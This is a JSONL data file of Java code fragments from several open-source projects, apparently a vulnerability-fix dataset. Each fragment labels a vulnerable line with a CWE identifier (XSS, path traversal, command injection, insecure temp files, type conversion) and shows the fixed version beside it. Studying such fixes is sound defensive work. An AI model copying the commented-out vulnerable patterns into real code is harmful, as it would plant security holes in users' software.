\"all\";\n } else {\n media = ac.getMedium();\n }\n }\n }\n AtRuleMedia m = AtRuleMedia.getInstance(ac.getCssVersion());\n try {\n if (media != null) {\n addMedias(m, media, ac);\n }\n cssFouffa.setAtRule(m);\n } catch (org.w3c.css.util.InvalidParamException e) {\n Errors er = new Errors();\n er.addError(new org.w3c.css.parser.CssError(url.toString(),\n -1, e));\n notifyErrors(er);\n return;\n }\n ac.setReferrer(url);\n doneref = true;\n cssFouffa.parseStyle();\n } catch (Exception e) {\n Errors er = new Errors();\n er.addError(new org.w3c.css.parser.CssError(Messages.escapeString(url.toString()),\n // BUG: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n // -1, e));\n // FIXED:\n -1, new Exception(Messages.escapeString(e.getMessage()))));\n notifyErrors(er);\n } finally {\n if (doneref) {\n ac.setReferrer(ref);\n }\n }\n }\n\n // add media, easy version for CSS version < 3, otherwise, reuse the parser\n private void addMedias(AtRuleMedia m, String medias, ApplContext ac) throws InvalidParamException {\n // before CSS3, let's parse it the easy way...\n if (ac.getCssVersion().compareTo(CssVersion.CSS3) < 0) {\n StringTokenizer tokens = new StringTokenizer(medias, \",\");\n while (tokens.hasMoreTokens()) {\n m.addMedia(null, tokens.nextToken().trim(), ac);\n }\n } else {\n CssFouffa muP = new CssFouffa(ac, new StringReader(medias));\n try {\n AtRuleMedia arm = muP.parseMediaDeclaration();\n if (arm != null) {\n m.allMedia = arm.allMedia;\n }\n } catch (ParseException pex) {\n // error already added, so nothing else to do\n }\n }\n }\n\n /**\n * Parse a style element. The Style element always comes fr<|endoftext|>"} +{"language": "java", "text": "rk.translators.sound.EntitySoundInteractionHandler;\nimport org.geysermc.connector.network.translators.world.block.BlockStateValues;\nimport org.geysermc.connector.registry.BlockRegistries;\nimport org.geysermc.connector.registry.type.ItemMapping;\nimport org.geysermc.connector.registry.type.ItemMappings;\nimport org.geysermc.connector.utils.BlockUtils;\n\nimport java.util.concurrent.TimeUnit;\n\n/**\n * BedrockInventoryTransactionTranslator handles most interactions between the client and the world,\n * or the client and their inventory.\n */\n@Translator(packet = InventoryTransactionPacket.class)\npublic class BedrockInventoryTransactionTranslator extends PacketTranslator {\n\n private static final float MAXIMUM_BLOCK_PLACING_DISTANCE = 64f;\n private static final int CREATIVE_EYE_HEIGHT_PLACE_DISTANCE = 49;\n private static final int SURVIVAL_EYE_HEIGHT_PLACE_DISTANCE = 36;\n private static final float MAXIMUM_BLOCK_DESTROYING_DISTANCE = 36f;\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(InventoryTransactionPacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, InventoryTransactionPacket packet) {\n // Send book updates before opening inventories\n session.getBookEditCache().checkForSend();\n\n ItemMappings mappings = session.getItemMappings();\n\n switch (packet.getTransactionType()) {\n case NORMAL:\n if (packet.getActions().size() == 2) {\n InventoryActionData worldAction = packet.getActions().get(0);\n InventoryActionData containerAction = packet.getActions().get(1);\n if (worldAction.getSource().getType() == InventorySource.Type.WORLD_INTERACTION\n && worldAction.getSource().getFlag() == InventorySource.Flag.DROP_ITEM) {\n if (session.getPlayerInventory().getHeldItemSlot() != containerAction.getSlot() ||\n session.getPlayerInventory().getItemInHand().isEmpty()) {\n return;\n }\n\n boolean dropAll = worldAction.getToItem().getCount() > 1;\n ClientPlayerActionPacket dropAllPacket = new ClientPlayerActionPacket(\n <|endoftext|>"} +{"language": "java", "text": ", INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n * @author GeyserMC\n * @link https://github.com/GeyserMC/Geyser\n */\n\npackage org.geysermc.connector.network.translators.bedrock;\n\nimport com.nukkitx.protocol.bedrock.packet.EmoteListPacket;\nimport org.geysermc.connector.configuration.EmoteOffhandWorkaroundOption;\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\n\n@Translator(packet = EmoteListPacket.class)\npublic class BedrockEmoteListTranslator extends PacketTranslator {\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(EmoteListPacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, EmoteListPacket packet) {\n if (session.getConnector().getConfig().getEmoteOffhandWorkaround() == EmoteOffhandWorkaroundOption.NO_EMOTES) {\n return;\n }\n\n session.refreshEmotes(packet.getPieceIds());\n }\n}\n<|endoftext|>"} +{"language": "java", "text": "cation configured message resources for the current\n * request locale. If a ResourceBundle is found and contains the key\n * javax.faces.resource.localePrefix, use the value associated\n * with that key as the prefix for locale specific resources.\n *

\n *\n *

\n * For example, say the request locale is en_US, and\n * javax.faces.resourceLocalePrefix is found with a value of\n * en, a resource path within a web application might look like\n * /resources/en/corp/images/greetings.jpg\n *

\n *\n * @param context the {@link FacesContext} for the current request\n * @return the localePrefix based on the current request, or null\n * if no prefix can be determined\n */\n private String getLocalePrefix(FacesContext context) {\n\n String localePrefix = null;\n \n localePrefix = context.getExternalContext().getRequestParameterMap().get(\"loc\");\n // BUG: CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')\n // if(localePrefix != null){\n // FIXED:\n if(localePrefix != null && !nameContainsForbiddenSequence(localePrefix)){\n return localePrefix;\n }\n \n String appBundleName = context.getApplication().getMessageBundle();\n if (null != appBundleName) {\n \t\n Locale locale = null;\n if (context.getViewRoot() != null) {\n locale = context.getViewRoot().getLocale();\n } else {\n locale = context.getApplication().getViewHandler().calculateLocale(context);\n }\n \n try {\n ResourceBundle appBundle =\n ResourceBundle.getBundle(appBundleName,\n locale,\n Util.getCurrentLoader(ResourceManager.class));\n localePrefix =\n appBundle\n .getString(ResourceHandler.LOCALE_PREFIX);\n } catch (MissingResourceException mre) { \n if (LOGGER.isLoggable(Level.FINEST)) {\n LOGGER.log(Level.FINEST, \"Ignoring missing resource\", mre);\n }\n<|endoftext|>"} +{"language": "java", "text": "greed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n * License for the specific language governing permissions and limitations\n * under the License.\n */\npackage io.netty.channel;\n\nimport io.netty.util.internal.PlatformDependent;\nimport org.junit.Test;\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.RandomAccessFile;\nimport java.nio.channels.Channels;\nimport java.nio.channels.WritableByteChannel;\n\nimport static org.junit.Assert.assertArrayEquals;\nimport static org.junit.Assert.assertEquals;\nimport static org.junit.Assert.fail;\n\npublic class DefaultFileRegionTest {\n\n private static final byte[] data = new byte[1048576 * 10];\n\n static {\n PlatformDependent.threadLocalRandom().nextBytes(data);\n }\n\n private static File newFile() throws IOException {\n // BUG: CWE-378 Creation of Temporary File With Insecure Permissions\n // File file = File.createTempFile(\"netty-\", \".tmp\");\n // FIXED: \n File file = PlatformDependent.createTempFile(\"netty-\", \".tmp\", null);\n file.deleteOnExit();\n\n final FileOutputStream out = new FileOutputStream(file);\n out.write(data);\n out.close();\n return file;\n }\n\n @Test\n public void testCreateFromFile() throws IOException {\n File file = newFile();\n try {\n testFileRegion(new DefaultFileRegion(file, 0, data.length));\n } finally {\n file.delete();\n }\n }\n\n @Test\n public void testCreateFromFileChannel() throws IOException {\n File file = newFile();\n RandomAccessFile randomAccessFile = new RandomAccessFile(file, \"r\");\n try {\n testFileRegion(new DefaultFileRegion(randomAccessFile.getChannel(), 0, data.length));\n } finally {\n randomAccessFile.close();\n file.delete();\n }\n }\n\n private static void testFileRegion(FileRegion region) throws IOException {\n ByteArrayOutputStream outputStream = new ByteArrayOutputStream();\n WritableByteChannel channel = Channels.newChannel(outputStream);\n\n try {\n assertEquals(data.length, region.count());\n <|endoftext|>"} +{"language": "java", "text": "at(tfsMaterialConfig.errors().on(ScmMaterialConfig.URL)).isEqualTo(\"URL cannot be blank\");\n }\n\n @Test\n void shouldEnsureUrlIsNotNull() {\n tfsMaterialConfig.setUrl(null);\n\n tfsMaterialConfig.validate(new ConfigSaveValidationContext(null));\n\n assertThat(tfsMaterialConfig.errors().on(URL)).isEqualTo(\"URL cannot be blank\");\n }\n\n @Test\n void rejectsObviouslyWrongURL() {\n assertTrue(validating(tfs(\"-url-not-starting-with-an-alphanumeric-character\")).errors().containsKey(TfsMaterialConfig.URL));\n assertTrue(validating(tfs(\"_url-not-starting-with-an-alphanumeric-character\")).errors().containsKey(TfsMaterialConfig.URL));\n assertTrue(validating(tfs(\"@url-not-starting-with-an-alphanumeric-character\")).errors().containsKey(TfsMaterialConfig.URL));\n\n assertFalse(validating(tfs(\"url-starting-with-an-alphanumeric-character\")).errors().containsKey(TfsMaterialConfig.URL));\n // BUG: CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection')\n // \n // FIXED:\n assertFalse(validating(tfs(\"#{url}\")).errors().containsKey(TfsMaterialConfig.URL));\n }\n\n private TfsMaterialConfig validating(TfsMaterialConfig tfs) {\n tfs.validate(new ConfigSaveValidationContext(null));\n return tfs;\n }\n }\n\n @Test\n void shouldEncryptTfsPasswordAndMarkPasswordAsNull() throws Exception {\n TfsMaterialConfig materialConfig = tfs(null, new UrlArgument(\"http://10.4.4.101:8080/tfs/Sample\"), \"loser\", \"CORPORATE\", \"password\", \"walk_this_path\");\n materialConfig.ensureEncrypted();\n\n Object passwordFieldValue = ReflectionUtil.getField(materialConfig, \"password\");\n assertThat(passwordFieldValue).isNull();\n assertThat(materialConfig.getPassword()).isEqualTo(\"password\");\n assertThat(materialConfig.getEncryptedPassword()).isEqualTo(new GoCipher().encrypt(\"password\"));\n }\n\n @Test\n void shouldDecryptTfsPassword() throws Exception {\n String encryptedPassword = new GoCipher().encrypt(\"plain-text-password\");\n TfsMaterialConfig materialConfig = tfs(null, new UrlArgument(\"http://10.4.4.101:8080/tfs/Sample\"), \"loser\", \"CORPORATE\", \"secret\", \"walk_this_path\");\n <|endoftext|>"} +{"language": "java", "text": "package com.ruoyi.common.exception.file;\n\nimport java.util.Arrays;\nimport org.apache.commons.fileupload.FileUploadException;\n\n/**\n * \u6587\u4ef6\u4e0a\u4f20 \u8bef\u5f02\u5e38\u7c7b\n * \n * @author ruoyi\n */\npublic class InvalidExtensionException extends FileUploadException\n{\n private static final long serialVersionUID = 1L;\n\n private String[] allowedExtension;\n private String extension;\n private String filename;\n\n public InvalidExtensionException(String[] allowedExtension, String extension, String filename)\n {\n // BUG: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n // super(\"filename : [\" + filename + \"], extension : [\" + extension + \"], allowed extension : [\" + Arrays.toString(allowedExtension) + \"]\");\n // FIXED: \n super(\"\u6587\u4ef6[\" + filename + \"]\u540e\u7f00[\" + extension + \"]\u4e0d\u6b63\u786e\uff0c\u8bf7\u4e0a\u4f20 [\" + Arrays.toString(allowedExtension) + \"]\u683c\u5f0f\u6587\u4ef6\");\n this.allowedExtension = allowedExtension;\n this.extension = extension;\n this.filename = filename;\n }\n\n public String[] getAllowedExtension()\n {\n return allowedExtension;\n }\n\n public String getExtension()\n {\n return extension;\n }\n\n public String getFilename()\n {\n return filename;\n }\n\n public static class InvalidImageExtensionException extends InvalidExtensionException\n {\n private static final long serialVersionUID = 1L;\n\n public InvalidImageExtensionException(String[] allowedExtension, String extension, String filename)\n {\n super(allowedExtension, extension, filename);\n }\n }\n\n public static class InvalidFlashExtensionException extends InvalidExtensionException\n {\n private static final long serialVersionUID = 1L;\n\n public InvalidFlashExtensionException(String[] allowedExtension, String extension, String filename)\n {\n super(allowedExtension, extension, filename);\n }\n }\n\n public static class InvalidMediaE<|endoftext|>"} +{"language": "java", "text": "\n * THE SOFTWARE.\n *\n * @author GeyserMC\n * @link https://github.com/GeyserMC/Geyser\n */\n\npackage org.geysermc.connector.network.translators.java;\n\nimport com.github.steveice10.mc.protocol.data.game.advancement.Advancement;\nimport com.github.steveice10.mc.protocol.packet.ingame.server.ServerAdvancementsPacket;\nimport com.nukkitx.protocol.bedrock.packet.SetTitlePacket;\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\nimport org.geysermc.connector.network.translators.chat.MessageTranslator;\nimport org.geysermc.connector.network.session.cache.AdvancementsCache;\nimport org.geysermc.connector.utils.GeyserAdvancement;\nimport org.geysermc.connector.utils.LocaleUtils;\n\nimport java.util.Map;\n\n@Translator(packet = ServerAdvancementsPacket.class)\npublic class JavaAdvancementsTranslator extends PacketTranslator {\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(ServerAdvancementsPacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, ServerAdvancementsPacket packet) {\n AdvancementsCache advancementsCache = session.getAdvancementsCache();\n if (packet.isReset()) {\n advancementsCache.getStoredAdvancements().clear();\n advancementsCache.getStoredAdvancementProgress().clear();\n }\n\n // Removes removed advancements from player's stored advancements\n for (String removedAdvancement : packet.getRemovedAdvancements()) {\n advancementsCache.getStoredAdvancements().remove(removedAdvancement);\n }\n\n advancementsCache.getStoredAdvancementProgress().putAll(packet.getProgress());\n\n sendToolbarAdvancementUpdates(session, packet);\n\n // Adds advancements to the player's stored advancements when advancements are sent\n for (Advancement advancement : packet.getAdvancements()) {\n if (advancement.getDisplayData() != null && !advancement.getDisplayData().isHidden()) {\n GeyserAdvancement geyserAdvancement = GeyserAdvancement.from(advancement);\n advancementsCache.getStoredAdvancements().put(advancement.getId(), geyserAdvancement);\n } else {\n <|endoftext|>"} +{"language": "java", "text": "rame.MessageFrame;\nimport org.hyperledger.besu.evm.gascalculator.GasCalculator;\n\nimport org.apache.tuweni.bytes.Bytes;\nimport org.apache.tuweni.bytes.Bytes32;\nimport org.apache.tuweni.units.bigints.UInt256;\n\npublic class SarOperation extends AbstractFixedCostOperation {\n\n private static final UInt256 ALL_BITS = UInt256.MAX_VALUE;\n\n public SarOperation(final GasCalculator gasCalculator) {\n super(0x1d, \"SAR\", 2, 1, 1, gasCalculator, gasCalculator.getVeryLowTierGasCost());\n }\n\n @Override\n public Operation.OperationResult executeFixedCostOperation(\n final MessageFrame frame, final EVM evm) {\n\n Bytes shiftAmount = frame.popStackItem();\n final Bytes value = leftPad(frame.popStackItem());\n final boolean negativeNumber = value.get(0) < 0;\n if (shiftAmount.size() > 4 && (shiftAmount = shiftAmount.trimLeadingZeros()).size() > 4) {\n frame.pushStackItem(negativeNumber ? ALL_BITS : UInt256.ZERO);\n } else {\n final int shiftAmountInt = shiftAmount.toInt();\n // BUG: CWE-681 Incorrect Conversion between Numeric Types\n // if (shiftAmountInt >= 256) {\n // FIXED:\n if (shiftAmountInt >= 256 || shiftAmountInt < 0) {\n frame.pushStackItem(negativeNumber ? ALL_BITS : UInt256.ZERO);\n } else {\n // first perform standard shift right.\n Bytes result = value.shiftRight(shiftAmountInt);\n\n // if a negative number, carry through the sign.\n if (negativeNumber) {\n final Bytes32 significantBits = ALL_BITS.shiftLeft(256 - shiftAmountInt);\n result = result.or(significantBits);\n }\n frame.pushStackItem(result);\n }\n }\n return successResponse;\n }\n}\n<|endoftext|>"} +{"language": "java", "text": "est;\nimport javax.servlet.http.Part;\n\nimport org.apache.commons.io.IOUtils;\nimport org.apache.logging.log4j.Logger;\nimport org.olat.core.logging.Tracing;\nimport org.olat.core.util.StringHelper;\nimport org.olat.core.util.WebappHelper;\n\n/**\n * @author srosse, stephane.rosse@frentix.com, http://www.frentix.com\n */\npublic class MultipartReader {\n\n\tprivate static final Logger log = Tracing.createLoggerFor(MultipartReader.class);\n\n\tprivate String filename;\n\tprivate String contentType;\n\tprivate File file;\n\tprivate Map fields = new HashMap<>();\n\n\tpublic MultipartReader(HttpServletRequest request) {\n\t\tservlet31(request);\n\t}\n\t\n\tprivate final void servlet31(HttpServletRequest request) {\n\t\ttry {\n\t\t\tfor(Part part:request.getParts()) {\n\t\t\t\tif(part.getContentType() != null && (StringHelper.containsNonWhitespace(part.getSubmittedFileName()) || !part.getContentType().startsWith(\"text/plain\"))) {\n\t\t\t\t\tcontentType = part.getContentType();\n\t\t\t\t\tfilename = part.getSubmittedFileName();\n\t\t\t\t\t// BUG: CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')\n\t\t\t\t\t// if(filename != null) {\n\t\t\t\t\t// FIXED: \n\t\t\t\t\tif(filename != null && !filename.contains(\"..\")) {\n\t\t\t\t\t\tfilename = UUID.randomUUID().toString().replace(\"-\", \"\") + \"_\" + filename;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tfilename = \"upload-\" + UUID.randomUUID().toString().replace(\"-\", \"\");\n\t\t\t\t\t}\n\t\t\t\t\tfile = new File(WebappHelper.getTmpDir(), filename);\n\t\t\t\t\tpart.write(file.getAbsolutePath());\n\t\t\t\t\tfile = new File(WebappHelper.getTmpDir(), filename);\n\t\t\t\t} else {\n\t\t\t\t\tString value = IOUtils.toString(part.getInputStream(), request.getCharacterEncoding());\n\t\t\t\t\tfields.put(part.getName(), value);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\ttry {\n\t\t\t\t\tpart.delete();\n\t\t\t\t} catch (Exception e) {\n\t\t\t\t\t//we try (tomcat doesn't send exception but undertow)\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (IOException | ServletException e) {\n\t\t\tlog.error(\"\", e);\n\t\t}\n\t}\n\n\tpublic String getFilename() {\n\t\treturn filename;\n\t}\n\n\tpublic String getContentType() {\n\t\treturn contentType;\n\t}\n\t\n\tpublic String getText() {\n\t\treturn fields.get(\"text\");\n\t}\n\n\tpublic String getValue(String key) {\n\t\treturn fields.get(key);\n\t}\n\t\n\tpublic String getValue(String key, String defaultValue) {\n\t\tString value = fields.get(key);\n\t\tif(StringHelper.containsNonWhitespace(key)) {\n\t\t\treturn value;\n\t\t}\n\t\treturn defaultValue;\n\t}\n\n\tpublic Long get<|endoftext|>"} +{"language": "java", "text": "NG FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n * @author GeyserMC\n * @link https://github.com/GeyserMC/Geyser\n */\n\npackage org.geysermc.connector.network.translators.bedrock;\n\nimport com.nukkitx.math.vector.Vector3i;\nimport com.nukkitx.protocol.bedrock.packet.BlockPickRequestPacket;\nimport org.geysermc.connector.entity.ItemFrameEntity;\nimport org.geysermc.connector.entity.type.EntityType;\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\nimport org.geysermc.connector.network.translators.world.block.BlockStateValues;\nimport org.geysermc.connector.registry.BlockRegistries;\nimport org.geysermc.connector.utils.InventoryUtils;\n\n@Translator(packet = BlockPickRequestPacket.class)\npublic class BedrockBlockPickRequestTranslator extends PacketTranslator {\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(BlockPickRequestPacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, BlockPickRequestPacket packet) {\n Vector3i vector = packet.getBlockPosition();\n int blockToPick = session.getConnector().getWorldManager().getBlockAt(session, vector.getX(), vector.getY(), vector.getZ());\n \n // Block is air - chunk caching is probably off\n if (blockToPick == BlockStateValues.JAVA_AIR_ID) {\n // Check for an item frame since the client thinks that's a block when it's an entity in Java\n ItemFrameEntity entity = ItemFrameEntity.getItemFrameEntity(session, packet.getBlockPosition());\n if (entity != null) {\n // Check to see if the item frame has an item in it first\n if (entity.getHeldItem() != null && entity.getHeldItem().getId() != 0) {\n // Grab the item in the frame\n InventoryUtils.findOrCreateItem(session, entity.getHeldItem());\n } else {\n // Grab the frame as the item\n InventoryUtils.findOrCreateItem(session, entity.getEntityType() == EntityType.GLOW_ITEM_FRAME ? \"minecraft:glow_item_frame\" : \"minecraft:item_frame\");\n }<|endoftext|>"} +{"language": "java", "text": "thub.com/GeyserMC/Geyser\n */\n\npackage org.geysermc.connector.network.translators.bedrock;\n\nimport com.github.steveice10.mc.protocol.data.game.entity.player.Hand;\nimport com.github.steveice10.mc.protocol.data.game.entity.player.InteractAction;\nimport com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerInteractEntityPacket;\nimport com.nukkitx.protocol.bedrock.packet.ItemFrameDropItemPacket;\nimport org.geysermc.connector.entity.Entity;\nimport org.geysermc.connector.entity.ItemFrameEntity;\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\n\n/**\n * Pre-1.16.210: used for both survival and creative item frame item removal\n *\n * 1.16.210: only used in creative.\n */\n@Translator(packet = ItemFrameDropItemPacket.class)\npublic class BedrockItemFrameDropItemTranslator extends PacketTranslator {\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(ItemFrameDropItemPacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, ItemFrameDropItemPacket packet) {\n Entity entity = ItemFrameEntity.getItemFrameEntity(session, packet.getBlockPosition());\n if (entity != null) {\n ClientPlayerInteractEntityPacket interactPacket = new ClientPlayerInteractEntityPacket((int) entity.getEntityId(),\n InteractAction.ATTACK, Hand.MAIN_HAND, session.isSneaking());\n session.sendDownstreamPacket(interactPacket);\n }\n }\n}\n<|endoftext|>"} +{"language": "java", "text": "t.Certificate;\nimport java.security.cert.CertificateFactory;\nimport java.util.Properties;\n\nimport javax.net.ssl.KeyManager;\nimport javax.net.ssl.SSLContext;\nimport javax.net.ssl.TrustManager;\nimport javax.net.ssl.TrustManagerFactory;\nimport javax.security.auth.callback.Callback;\nimport javax.security.auth.callback.CallbackHandler;\nimport javax.security.auth.callback.PasswordCallback;\nimport javax.security.auth.callback.UnsupportedCallbackException;\n\n/**\n * Provide an SSLSocketFactory that is compatible with the libpq behaviour.\n */\npublic class LibPQFactory extends WrappedFactory {\n\n @Nullable KeyManager km;\n boolean defaultfile;\n\n private CallbackHandler getCallbackHandler(\n @UnderInitialization(WrappedFactory.class) LibPQFactory this,\n Properties info) throws PSQLException {\n // Determine the callback handler\n CallbackHandler cbh;\n String sslpasswordcallback = PGProperty.SSL_PASSWORD_CALLBACK.get(info);\n if (sslpasswordcallback != null) {\n try {\n // BUG: CWE-665 Improper Initialization\n // cbh = (CallbackHandler) ObjectFactory.instantiate(sslpasswordcallback, info, false, null);\n // FIXED: \n cbh = ObjectFactory.instantiate(CallbackHandler.class, sslpasswordcallback, info, false, null);\n } catch (Exception e) {\n throw new PSQLException(\n GT.tr(\"The password callback class provided {0} could not be instantiated.\",\n sslpasswordcallback),\n PSQLState.CONNECTION_FAILURE, e);\n }\n } else {\n cbh = new ConsoleCallbackHandler(PGProperty.SSL_PASSWORD.get(info));\n }\n return cbh;\n }\n\n private void initPk8(\n @UnderInitialization(WrappedFactory.class) LibPQFactory this,\n String sslkeyfile, String defaultdir, Properties info) throws PSQLException {\n\n // Load the client's certificate and key\n String sslcertfile = PGProperty.SSL_CERT.get(info);\n if (sslcertfile == null) { // Fall back to default\n defaultfile = true;\n sslcertfile = defaultdir + \"postgresql.crt\";\n }\n\n // If the properties are empty, give null to prevent client key selection\n km = new LazyKeyManager((\"\".equals(sslcertfile) ? null : sslcertfile),\n (\"\".equals(sslkeyfile) ? null : sslkeyfile), getCallbackHandler(info), defaultfile);\n }\n\n private void initP12(\n @UnderInitialization(WrappedFactory.class) LibPQF<|endoftext|>"} +{"language": "java", "text": "R OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n * @author GeyserMC\n * @link https://github.com/GeyserMC/Geyser\n */\n\npackage org.geysermc.connector.network.translators.bedrock.entity.player;\n\nimport com.nukkitx.protocol.bedrock.packet.SetPlayerGameTypePacket;\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\n\n/**\n * In vanilla Bedrock, if you have operator status, this sets the player's gamemode without confirmation from the server.\n * Since we have a custom server option to request the gamemode, we just reset the gamemode and ignore this.\n */\n@Translator(packet = SetPlayerGameTypePacket.class)\npublic class BedrockSetPlayerGameTypeTranslator extends PacketTranslator {\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(SetPlayerGameTypePacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, SetPlayerGameTypePacket packet) {\n // no\n SetPlayerGameTypePacket playerGameTypePacket = new SetPlayerGameTypePacket();\n playerGameTypePacket.setGamemode(session.getGameMode().ordinal());\n session.sendUpstreamPacket(playerGameTypePacket);\n }\n}\n<|endoftext|>"} +{"language": "java", "text": "\n if (a == null || b == null) return false;\n if (a.length != b.length) return false;\n for (int i = 0; i < a.length; i++) {\n CommandParamData[] a1 = a[i];\n CommandParamData[] b1 = b[i];\n if (a1.length != b1.length) return false;\n\n for (int j = 0; j < a1.length; j++) {\n if (!a1[j].equals(b1[j])) return false;\n }\n }\n return true;\n }\n };\n\n static {\n List validColors = new ArrayList<>(NamedTextColor.NAMES.keys());\n validColors.add(\"reset\");\n VALID_COLORS = validColors.toArray(new String[0]);\n\n List teamOptions = new ArrayList<>(Arrays.asList(\"list\", \"sidebar\", \"belowName\"));\n for (String color : NamedTextColor.NAMES.keys()) {\n teamOptions.add(\"sidebar.team.\" + color);\n }\n VALID_SCOREBOARD_SLOTS = teamOptions.toArray(new String[0]);\n }\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(ServerDeclareCommandsPacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, ServerDeclareCommandsPacket packet) {\n // Don't send command suggestions if they are disabled\n if (!session.getConnector().getConfig().isCommandSuggestions()) {\n session.getConnector().getLogger().debug(\"Not sending translated command suggestions as they are disabled.\");\n\n // Send an empty packet so Bedrock doesn't override /help with its own, built-in help command.\n AvailableCommandsPacket emptyPacket = new AvailableCommandsPacket();\n session.sendUpstreamPacket(emptyPacket);\n return;\n }\n\n CommandNode[] nodes = packet.getNodes();\n List commandData = new ArrayList<>();\n IntSet commandNodes = new IntOpenHashSet();\n Set knownAliases = new HashSet<>();\n Map> commands = new Object2ObjectOpenCustomHashMap<>(PARAM_STRATEGY);\n Int2ObjectMap> commandArgs = new Int2ObjectOpenHashMap<>();\n\n // Get the first node, it should be a root node\n CommandNode rootNode = nodes[packet.getFirstNodeIndex()];\n\n // Loop through the root nodes to get al<|endoftext|>"} +{"language": "java", "text": "upLayout);\n\t\tuifactory.addFormSubmitButton(\"ok\", buttonGroupLayout);\n\t\tuifactory.addFormCancelButton(\"cancel\", buttonGroupLayout, ureq, getWindowControl());\n\t}\n\n\t@Override\n\tprotected void doDispose() {\n\t\t//\n\t}\n\n\t@Override\n\tpublic int getStatus() {\n\t\treturn status;\n\t}\n\n\t@Override\n\tpublic boolean runsModal() {\n\t\treturn false;\n\t}\n\n\t@Override\n\tpublic String getModalTitle() {\n\t\treturn translate(\"send.mail.title\");\n\t}\n\n\tpublic Controller execute(FolderComponent folderComponent, UserRequest ureq, WindowControl wControl, Translator translator) {\n\t\tVFSContainer currentContainer = folderComponent.getCurrentContainer();\n\t\tVFSContainer rootContainer = folderComponent.getRootContainer();\n\n\t\tif (!VFSManager.exists(currentContainer)) {\n\t\t\tstatus = FolderCommandStatus.STATUS_FAILED;\n\t\t\tshowError(translator.translate(\"FileDoesNotExist\"));\n\t\t\treturn null;\n\t\t}\n\t\tstatus = FolderCommandHelper.sanityCheck(wControl, folderComponent);\n\t\tif (status == FolderCommandStatus.STATUS_FAILED) {\n\t\t\treturn null;\n\t\t}\n\t\t// BUG: CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')\n\t\t// FileSelection selection = new FileSelection(ureq, folderComponent.getCurrentContainerPath());\n\t\t// FIXED:\n\t\tFileSelection selection = new FileSelection(ureq, folderComponent.getCurrentContainer(), folderComponent.getCurrentContainerPath());\n\t\tstatus = FolderCommandHelper.sanityCheck3(wControl, folderComponent, selection);\n\t\tif (status == FolderCommandStatus.STATUS_FAILED) {\n\t\t\treturn null;\n\t\t}\n\n\t\tboolean selectionWithContainer = false;\n\t\tList filenames = selection.getFiles();\n\t\tList leafs = new ArrayList<>();\n\t\tfor (String file : filenames) {\n\t\t\tVFSItem item = currentContainer.resolve(file);\n\t\t\tif (item instanceof VFSContainer) {\n\t\t\t\tselectionWithContainer = true;\n\t\t\t} else if (item instanceof VFSLeaf) {\n\t\t\t\tleafs.add((VFSLeaf) item);\n\t\t\t}\n\t\t}\n\t\tif (selectionWithContainer) {\n\t\t\tif (leafs.isEmpty()) {\n\t\t\t\twControl.setError(getTranslator().translate(\"send.mail.noFileSelected\"));\n\t\t\t\treturn null;\n\t\t\t} else {\n\t\t\t\tsetFormWarning(getTranslator().translate(\"send.mail.selectionContainsFolder\"));\n\t\t\t}\n\t\t}\n\t\tsetFiles(rootContainer, leafs);\n\t\treturn this;\n\t}\n\n\tprotected void setFiles(VFSContainer rootContainer, List files) {\n\t\tStringBuilder subjectSb = new 